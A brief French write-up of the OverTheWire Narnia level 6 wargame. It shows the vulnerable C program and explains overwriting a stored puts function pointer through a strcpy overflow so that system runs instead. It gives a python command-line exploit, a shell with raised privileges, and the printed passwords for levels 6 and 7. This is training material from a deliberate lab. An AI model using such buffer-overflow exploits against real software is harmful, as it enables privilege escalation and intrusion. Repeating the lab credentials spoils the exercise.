Level 6

ssh narnia6@narnia.labs.overthewire.org
pass : neezocaeng
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
extern char **environ;
 
int main(int argc, char *argv[]){
	char b1[8], b2[8];
	int  (*fp)(char *)=(int(*)(char *))&puts, i;
 
	if(argc!=3){ printf("%s b1 b2\n", argv[0]); exit(-1); }
 
	/* clear environ */
	for(i=0; environ[i] != NULL; i++)
		memset(environ[i], '\0', strlen(environ[i]));
	/* clear argz    */
	for(i=3; argv[i] != NULL; i++)
		memset(argv[i], '\0', strlen(argv[i]));
 
	strcpy(b1,argv[1]);
	strcpy(b2,argv[2]);
	if(((unsigned long)fp & 0xff000000) == 0xff000000)
		exit(-1);
	fp(b1);
 
	exit(1);
}

Le programme enregistre l'adresse de la fonction puts dans la variable fp. Il copie ensuite le contenu de argv[1] et argv[2] dans les deux buffers. Nous allons donc pouvoir écrire par dessus l'adresse de la fonction puts qui a été enregistré. Cependant, le programme vérifie que l'adresse de la fonction ne commence par par 0xff, ce qui correspond aux adresses de de la stack. Nous allons donc devoir contourner cette protection.

Une des solutions possible est d'appeler la fonction system à la place de la fonction puts.

$ ./narnia6 $(python -c 'print "A"*8+"\x60\xf2\xea\xf7"') $(python -c 'print "C"*8+"/bin/sh"')
$ id
uid=14006(narnia6) gid=14006(narnia6) euid=14007(narnia7) groups=14007(narnia7),14006(narnia6)
$ cat /etc/narnia_pass/narnia7
ahkiaziphu